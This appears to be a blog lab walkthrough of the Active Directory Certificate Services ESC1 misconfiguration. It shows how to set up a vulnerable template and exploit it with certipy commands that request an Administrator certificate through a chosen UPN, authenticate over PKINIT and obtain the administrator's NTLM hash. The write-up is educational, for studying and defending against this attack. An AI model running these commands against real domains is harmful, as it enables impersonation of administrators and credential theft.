kemal tamkoc

Offensive Cyber Security Consultant

ADCS Abuse Methods - ESC1

So in ESC1 the main problem comes from the fact that we can specify an arbitrary identity within the certificate’s SAN. This allows an attacker to impersonate any user, including administrators.

To exploit the ESC1 misconfiguration we need these prerequisites:

Creating the Vulnerability

We will be creating the vulnerable template with creating a copy of WebServer template.

Screenshot1

Naming the template’s name ESC1

Screenshot2

In the Subject Name section we need to choose Supply in the request options which this was default for WebServer template.

Screenshot3

And of course we will check the enroll rights for Authenticated Users. This means any domain user can enroll to this template.

Screenshot4

In the Extensions section we can see the aplication policies(EKU) given to this template. We need to edit this to Client Authentication and delete the Server Authentication because for minimum permission principal. Client Authentication will fill the any authentication EKU prerequisites

Screenshot5

Last view of the application policies.

Screenshot6

We need to check this box in General section to publish the template that we created.

Screenshot7

In certsrv with right clicking to new we can get the Enable Certificate Templates page. We need to enable our new created template.

Exploitation

After the vulnerability setup we can enumerate and exploit the ESC1 misconf.

certipy find -u 'hacker@zion.local' -p 'Password123!!' -dc-ip 192.168.100.10

Screenshot8

When we look for vulns in ADCS with certipy. we can observe that the ESC1 template we created is vulnerable to ESC1.

certipy req -u 'hacker@zion.local' -p 'Password123!!' -dc-ip 192.168.100.10 -ca 'zion-DC01-CA' -template ESC1 -upn 'Administrator'

Screenshot9

Requesting with the UPN of the administrator will create the certificate of it successfully.

certipy auth -pfx administrator.pfx -dc-ip 192.168.100.10  -domain zion.local

Screenshot10

after getting the administrator’s certificate we can auth with administrator’s priviliges. With PKINIT we were able to auth and can get the ntlm hash of administrator.